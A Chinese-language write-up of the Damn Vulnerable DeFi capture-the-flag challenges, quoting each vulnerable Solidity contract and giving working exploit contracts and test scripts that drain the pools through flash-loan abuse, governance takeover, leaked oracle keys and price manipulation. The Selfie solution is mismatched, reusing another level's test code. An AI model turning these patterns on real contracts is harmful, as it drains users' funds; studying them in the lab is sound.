Damn-vulnerable-defi Writeup

Damn-vulnerable-defi Writeup

环境:Node 12.20.0 npm 6.14.8

1
2
3
4
初始化: 
git clone https://github.com/OpenZeppelin/damn-vulnerable-defi.git
cd damn-vulnerable-defi
npm i
1
2
或许需要
npm install --save-dev @openzeppelin/test-environment

Unstoppable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);//

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

拒绝服务攻击

1
await this.token.transfer(this.pool.address, 1, { from: attacker} );

Native receiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function flashLoan(address payable borrower, uint256 borrowAmount) external nonReentrant {

uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


require(address(borrower).isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
(bool success, ) = borrower.call{value: borrowAmount}(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
)
);
require(success, "External call failed");

require(
address(this).balance >= balanceBefore.add(FIXED_FEE),
"Flash loan hasn't been paid back"
);
}



function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");

uint256 amountToBeRepaid = msg.value.add(fee);

require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

_executeActionDuringFlashLoan();

// Return funds to pool
pool.sendValue(amountToBeRepaid);
}

很明显一次调用会减少FlashLoanReceier合约1ETH,我们直接借9个,加上一个手续费刚好清空

1
2
3
4
5
it('Exploit', async function () {
while(await balance.current(this.receiver.address) > 0) {
await this.pool.flashLoan(this.receiver.address, 9);
}
});

Truster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

damnValuableToken.transfer(borrower, borrowAmount);
(bool success, ) = target.call(data);
require(success, "External call failed");

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

很明显,可以传入一个approve函数的调用,不能直接用transfer,因为后面balance检查。

data=0x095ea7b3=)+attackeraddress+damnValuableToken.balanceOf(address(TrusterLenderPool))

1
2
3
4
5
6
7
8
9
10
it('Exploit', async function () {
/** YOUR EXPLOIT GOES HERE */
const web3Contract = this.token.contract;

const txApprove = web3Contract.methods.approve(attacker, TOKENS_IN_POOL.toString());
const data = txApprove.encodeABI();

await this.pool.flashLoan(0, attacker, this.token.address, data, { from: attacker });
await this.token.transferFrom(this.pool.address, attacker, TOKENS_IN_POOL, { from: attacker });
});

Side entrance

1
2
3
4
5
6
7
8
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}

无法控制的外部调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import "../side-entrance/SideEntranceLenderPool.sol";

contract AttackSideEntrance is IFlashLoanEtherReceiver {
using Address for address payable;

SideEntranceLenderPool pool;

function attack(SideEntranceLenderPool _pool) public {
pool = _pool;
pool.flashLoan(address(_pool).balance);
pool.withdraw();
msg.sender.sendValue(address(this).balance);
}

function execute() external payable override {
pool.deposit{value:msg.value}();
}

receive() external payable{}
}
1
2
3
4
5
6
it('Exploit', async function () {
/** YOUR EXPLOIT GOES HERE */
const AttackSideEntrance = contract.fromArtifact('AttackSideEntrance');
const attack = await AttackSideEntrance.new();
await attack.attack(this.pool.address, { from: attacker });
});

The-rewarder

要求获取全部利息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");

accToken.mint(msg.sender, amountToDeposit);
distributeRewards();

require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}

function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}

在distributeRewards()函数里面会进行奖励的计算,但是withdraw函数里面没有相应的清除,我们就可以通过闪电贷,存入再提取,归还闪电贷之后,提取奖励。因为精度的问题,我们可以通过贷取全部,使得其他人的奖励为零

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.6.0;

import "../the-rewarder/FlashLoanerPool.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/RewardToken.sol";
import "../the-rewarder/AccountingToken.sol";




contract AttackReward {
DamnValuableToken public liquidityToken;
RewardToken public rewardToken;
FlashLoanerPool public flashLoanerPool;
TheRewarderPool public theRewarderPool;

constructor(address liquidityTokenAddress, address rewardTokenAddress, FlashLoanerPool _flashLoanerPool, TheRewarderPool _theRewarderPool) public {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
rewardToken = RewardToken(rewardTokenAddress);
flashLoanerPool = _flashLoanerPool;
theRewarderPool = _theRewarderPool;
}

function attack(uint256 amount) public {
flashLoanerPool.flashLoan(amount);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}

function receiveFlashLoan(uint256 amount) public {
liquidityToken.approve(address(theRewarderPool), amount);
theRewarderPool.deposit(amount);
theRewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanerPool), amount);
}
}
1
2
3
4
5
6
7
const AttackReward = contract.fromArtifact('AttackReward');
it('Exploit', async function () {
/** YOUR EXPLOIT GOES HERE */
await time.increase(time.duration.days(5));
const attack = await AttackReward.new(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address, { from: attacker});
await attack.attack(TOKENS_IN_LENDER_POOL, { from: attacker });
});

Selfie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
  function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}


function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");

uint256 actionId = actionCounter;

GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);
return actionId;
}

function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");

GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;

(bool success,) = actionToExecute.receiver.call{
value: actionToExecute.weiAmount
}(actionToExecute.data);

require(success, "Action failed");

emit ActionExecuted(actionId, msg.sender);
}

drainAllFunds函数被onlyGovernance修饰,在SimpleGovernance中的 executeAction函数存在call调用,同时

调用的地址,参数,我们可以通过queueAction设定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
contract AttackSelfie {
address public owner;
ISelfiePool public pool;
ISimpleGovernance public governance;
uint256 public actionId;

constructor(ISelfiePool _pool, ISimpleGovernance _governance) public {
owner = msg.sender;
pool = _pool;
governance = _governance;
}

function attack0(uint256 amount) public {
pool.flashLoan(amount);
}

function receiveTokens(address _token, uint256 _amount) public {
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);

token.snapshot();

bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
owner
);

actionId = governance.queueAction(address(pool), data, 0);

token.transfer(address(pool), _amount);
}

1
2
3
4
5
6
7
8
it('Exploit', async function () {
/** YOUR EXPLOIT GOES HERE */
const AttackReward = contract.fromArtifact('AttackReward');
await time.increase(time.duration.days(5));
const attack = await AttackReward.new(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address, { from: attacker});
await attack.attack(TOKENS_IN_LENDER_POOL, { from: attacker });
});

Compromised

私钥泄露问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
it('Exploit', async function () {
const leakedAccounts = ['0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9', '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'].map(pk=>web3.eth.accounts.privateKeyToAccount(pk));

for (let account of leakedAccounts) {
await web3.eth.personal.importRawKey(account.privateKey, '');
web3.eth.personal.unlockAccount(account.address, '', 999999);
// 修改最低价
await this.oracle.postPrice('DVNFT', 0, { from: account.address });
}
// 买入
await this.exchange.buyOne({ from: attacker, value: 1 });
// 修改为最高价格
const exchangeBalance = await balance.current(this.exchange.address);
await this.oracle.postPrice("DVNFT", exchangeBalance, { from: leakedAccounts[0].address});
await this.oracle.postPrice("DVNFT", exchangeBalance, { from: leakedAccounts[1].address});
await this.token.approve(this.exchange.address, 1, { from: attacker });
// 卖出
await this.exchange.sellOne(1, { from: attacker })
});

Puppet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
			function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 amountToDeposit = msg.value;

uint256 tokenPriceInWei = computeOraclePrice();
uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2;

require(amountToDeposit >= depositRequired, "Not depositing enough collateral");
if (amountToDeposit > depositRequired) {
uint256 amountToReturn = amountToDeposit - depositRequired;
amountToDeposit -= amountToReturn;
msg.sender.sendValue(amountToReturn);
}

deposits[msg.sender] += amountToDeposit;

// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
}
function computeOraclePrice() public view returns (uint256) {
return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));
}

先除再乘,因为solidity里面没有小数

1
2
3
4
5
6
it('Exploit', async function () {
const deadline = (await web3.eth.getBlock('latest')).timestamp + 300;
await this.token.approve(this.uniswapExchange.address, ether('0.01'), { from: attacker });
await this.uniswapExchange.tokenToEthSwapInput(ether('0.01'), 1, deadline, { from: attacker });
await this.lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, { from: attacker });
});